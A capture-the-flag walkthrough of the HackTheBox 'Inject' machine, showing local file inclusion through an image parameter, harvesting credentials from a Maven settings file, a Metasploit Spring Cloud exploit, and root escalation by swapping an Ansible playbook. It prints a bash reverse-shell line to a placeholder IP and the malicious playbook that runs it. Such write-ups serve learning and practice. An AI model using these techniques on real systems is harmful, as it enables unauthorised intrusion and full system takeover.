In this post we’ll take a look at the solution to the Inject challenge on HackTheBox. The solution involves abusing an LFI vulnerability and exploiting a misconfigured service to obtain root privileges. The difficulty for this challenge is Easy.

Enumeration

We start the challenge by scanning the machine with Rustscan. We have two services running: SSH on the standard port 22 and a web server on port 8080. We also learn that we are dealing with an Ubuntu server. Since we don’t have any credentials yet let’s take a look at the web application.

After poking around we find that the application offers an image upload service. There is a file filter which rejects non-image files based on the file extension. Although the filter is very easy to bypass by changing the file extension, I did not find any obvious way to exploit it and get a reverse shell.

I noticed that after a successful upload the image is available by visiting the URL /show_image?img=imagename.jpg where the file name is passed as a parameter. This parameter might be abused to include any file that is locally present on the machine. To test this I tried to display the debian logo (which should be present on the machine as it is running Ubuntu) found by default in /usr/share/pixmaps/debian-logo.png:

Nice, we can take a look at the local filesystem. Let’s open this request in Burp Suite Repeater and see if we can access the /etc/passwd file. Surprise, surprise – we can:

I found that the same ‘img’ parameter could be used to get a listing if I specified a directory. Very conveniently we can also see all the hidden directories in this way. Taking this route, I “navigated” to the ‘/home’ directory which yielded a list of users on the machine, specifically two users named phil and frank. Inside frank‘s home directory I also noticed an interesting file in /home/frank/.m2/settings.xml which contained some credentials:

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>[REDACTED PASSWORD]</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

Trying to use these credentials to get an SSH session did not work. As I explored more I stumbled upon /var/www/WebApp/pom.xml which contained more valuable information:

...
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
...

Initial foothold and user flag

It looks like an outdated and potentially vulnerable version of the Spring Cloud Framework is in use (more information here). We can abuse it to gain a remote shell with Metasploit, using the module multi/http/spring_cloud_function_spel_injection:

We got access to the machine as frank. I proceeded to scan the machine with Linpeas which suggested that the machine might be vulnerable to CVE-2021-3560 and CVE-2022-2588. Unfortunately that was not really the case.

I started pspy next which revealed some interesting information:

It looks like Ansible Playbooks is running on the machine and executes the playbook_1.yml playbook found in the /opt/automation directory. This looks interesting, let’s investigate further:

ls -alh /opt/automation	
total 12K
drwxr-xr-x 3 root root  4.0K Oct 20  2022 .
drwxr-xr-x 3 root root  4.0K Oct 20  2022 ..
drwxrwxr-x 2 root staff 4.0K May 29 19:08 tasks

ls -alh /opt/automation/tasks
total 12K
drwxrwxr-x 2 root staff 4.0K May 29 19:10 .
drwxr-xr-x 3 root root  4.0K Oct 20  2022 ..
-rw-r--r-- 1 root root   150 May 29 19:10 playbook_1.yml

Currently we don’t have write permissions to mess with the playbook file. Remember the credentials we found earlier? Turns out we can become phil (and get the user flag!). Also notice that phil is in the staff group:

id phil
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)

Root flag

As phil we can’t directly edit the playbook_1.yml file however nothing is there to stop us from deleting it and creating our own customized version of it.

For example we can get a reverse root shell on the box. To do so let’s first create a reverse shell script on our local machine with the following content:

/bin/bash -i >& /dev/tcp/[OUR IP]/[PORT] 0>&1

We will also need a custom version of playbook_1.yml file:

- hosts: localhost
  tasks:
  - name: Pwn the box
    command: sudo bash /tmp/revshell.sh

We can upload both files to the target box, move the bash script to /tmp/revshell.sh and playbook_1.yml to /opt/automation/tasks (remembering to delete the original playbook file and adding the execution permission to the shell script with chmod).

All that’s left to do is to open a netcat listener on our box and get the root flag.